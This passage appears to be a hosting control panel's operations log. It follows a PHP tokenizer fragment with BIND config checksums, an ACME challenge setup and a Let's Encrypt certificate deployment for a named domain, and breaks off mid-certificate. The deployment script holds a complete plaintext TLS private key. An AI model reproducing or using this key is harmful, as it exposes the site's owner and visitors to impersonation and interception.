				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 08:06:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp784052; rm /tmp/pkp784052'

2026-05-13 08:06:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 08:07:03: Establishing a connection
2026-05-13 08:07:03: Establishing a connection
2026-05-13 08:07:03: 

PUT: /tmp/pkp818597

#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-13 08:07:03: 

chmod 755 /tmp/pkp818597; /tmp/pkp818597; rm /tmp/pkp818597

2026-05-13 08:07:03: 


1


2026-05-13 08:07:04: Establishing a connection
2026-05-13 08:07:05: 

PUT: /tmp/pkp769386

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > nfIt2ss_jldbl-a2Pi2spALtLct-0G4StFOU1YGS1Xw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nfIt2ss_jldbl-a2Pi2spALtLct-0G4StFOU1YGS1Xw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nfIt2ss_jldbl-a2Pi2spALtLct-0G4StFOU1YGS1Xw


2026-05-13 08:07:05: 

chmod 755 /tmp/pkp769386; /tmp/pkp769386; rm /tmp/pkp769386

2026-05-13 08:07:05: 




2026-05-13 08:07:11: Establishing a connection
2026-05-13 08:07:11: 

PUT: /tmp/pkp186630

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm nfIt2ss_jldbl-a2Pi2spALtLct-0G4StFOU1YGS1Xw


2026-05-13 08:07:11: 

chmod 755 /tmp/pkp186630; /tmp/pkp186630; rm /tmp/pkp186630

2026-05-13 08:07:11: 




2026-05-13 08:07:11: Establishing a connection
2026-05-13 08:07:11: 

PUT: /tmp/pkp580037

#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt

cat > $temp_file <<'endmsg'
9d:0b:b7:35:4e:ec:c3:03:ea:32:c8:ca:0b:dc:e0:80

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBrjS8DSq03mtcSqybi5jnU9wMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTEzMDcwODQwWhcNMjYwODExMDcwODM5WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAyP7l0cA8YyCSYjytkOZdJ+Q1FzQH6/s3d4HZ4bbEgzowSFKzMN5I+tQ5
mokcQuyY8SN2k1i1zr1bzgtw/+O28cXq4TR9dRflkEAcaFrQFITp5y8aGhb9Udt9
7DsVvWmxCsjOj9tmiLJqY1jIFtxEvVTd3fyalgl+tc8Pi6MF1t13eqEpZWED6duG
r7KS0lEr8z0/aI8DJeCDsANTh7NSa0rs2qA/mx8Y2RpivclNH73Hh22y76GSB1Zb
u18Lok85wgmD3kn2Ujaep4lOgCO6xiqMt0xiTUAl1+Z974cXG7+wzYmX0kRoTpZr
g1LYLRjWkOE+GNoHrt36nXTyhJDiCwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FPKjEM7Bwktvy4lv3Wosd4LGd7a6MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITZGdtLmRyZXdtYXJzaGFsbC5jYTATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzExMy5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDIo8R/
x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ4gYB0dAAAEAwBHMEUCIQDJ
Xpk9i4Hpg36HcXs83dwYVm1wlFKSWSQD00BPlOhuSAIgab4wqDVJMXkUmcSsJyea
rcw8FCAYjdLxztAwX/xLFRUAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCz
EjxVJwAAAZ4gYB2hAAgAAAUACrKT7gQDAEcwRQIgPPr1mWqluF5q2GCVxPpMzhW0
nUeb8Ge2ssPreQUvzYoCIQCgmz5eJe7aKCaJNl9shyB0I49N4pYr5ISCEXqZhpbU
0DANBgkqhkiG9w0BAQsFAAOCAQEAOV17WVhwasMxnogvsgx2WXm1yIhiQG+tQjuB
P/ETv2WVphawsCoIHmmstfQrtneZD0aeALG/luU0Lfd5+MIexO5fDZ0eF/vxg2WJ
aGg3gQV+UOOqRmF7AxW3jNz1xneWjlyHt1oqE9bOnTkvKf0gv5M9fJZBR3cCY/vh
C+n164c0ehizFVrE8FRupDbkypN5VwJB7RT86dRLJqYB9ZVyWFNXQcLY7X5vX96Q
qsULOyClXvjiFQRk0BEFfJE1B/v3iOjm16Psd74Ok9Enq/PIC7mgBZQAnIlYCSeR
jMBR4JujDl294+r/bA3QI2eip4qcYS1/YZQpUOWAq9SgWcMIMQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDI/uXRwDxjIJJi
PK2Q5l0n5DUXNAfr+zd3gdnhtsSDOjBIUrMw3kj61DmaiRxC7JjxI3aTWLXOvVvO
C3D/47bxxerhNH11F+WQQBxoWtAUhOnnLxoaFv1R233sOxW9abEKyM6P22aIsmpj
WMgW3ES9VN3d/JqWCX61zw+LowXW3Xd6oSllYQPp24avspLSUSvzPT9ojwMl4IOw
A1OHs1JrSuzaoD+bHxjZGmK9yU0fvceHbbLvoZIHVlu7XwuiTznCCYPeSfZSNp6n
iU6AI7rGKoy3TGJNQCXX5n3vhxcbv7DNiZfSRGhOlmuDUtgtGNaQ4T4Y2geu3fqd
dPKEkOILAgMBAAECggEAUwKm8s40gnIQ0t6hhj8FyTRgUtFr1iOeIE6yKBy+Iz5U
c4IoPG4JcQJWOgMXd3JUpf6R+b/A8n3VHQ8vn5cx1r95RoJRsBrq9fzsXpLm7hqI
qbCT1KObAoQmiPpL+7rbYgtV+CbSPXGGK7qehIZ7I0CaExTA2WdZfAfksTRmdHqt
e+ReqicEG4usjlFPlsFxtpj9S+gnncKsgjad5j/skGJ6/6KzVQXJ0EBa80cp3wYc
tr0oor0dNsh7Q/k8Ry8HhsIf0Oo72t6VsVnYsPsS8/Pyj0kLgKyRldm0LUcuXp36
OI/IgIp/O9kLvIOkjr/reMT1/W0cwmy0TBg8/l3zmQKBgQD7uBJs4Y7LQFFC/Dts
CeFO4ZN9SDB/96XL+5buhBogIJpzvdHQXyk6qxch/t5lPKC4b6XrPSDbR590EYS+
/jAEJOWUs5uamAneHPi/IJg4KKxihSQU40W1P3qAIDjJuaawZX25P9JIrdNpUFC6
7vuYcxW7MbXR18JakspZOfyluQKBgQDMafzd8dZLnHTuOQaXK1JuEnI8KplDALuV
NQU84SdD0JpH0ydSpkO6rss03qh/m9/ma1veOkcE9ahKpNIq7Zvuu0D5kzjRocwC
KuFtWVohMN8JE21CYjeYEK9G12JuwOrcgeyGPmQSILziNNSBlLCgoY2IvCTAnXrC
G3MaIADn4wKBgQCXt9m7MLSNg0W3dyols0rO7Z2lHHbHGrAe45SUTKEmjiAp9NZa
npDOIMM/pUvMfx9sKzc5M03zfRb5sXluWOz+AnMyDpOSOWNxMcsn//BfoPxOIWue
/2FLnmgqg8FWrQRwO6vslTAcyFCtoFAYa+TPfUYy3wJ06XPmfaVi5FWIWQKBgHWg
R7Ivh3DbBy5OAkza0QQl+TZGDQtRUJ/7cpglt8J+N0k9aFNW+YJjMuupdKx5tc2R
2bt3LYbdFYpebdHmCOTHPAxhe0CmKg7VPgL+d67BwJYoZ6bbfcIzV6kcJ7gzqvJY
kRJutIb577b7T42BUmIclKUqHrv34rvvr7xIzjyhAoGAW8GNtQlq6WaEo7+/05pN
ldeZT2LgJYAI8Y7Yuu4YLAAT4R8TbPBaK0qwEpC/+qtH4vvaGubp6HxobveaEXXl
C5w6T+tLlxLzRYRMoplmEp0WDKCXjbPbVfNMWLnAyvlc5hDDGszz2f8emI9lM14N
CaO2fPeCUSkViFT9clIQdxk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
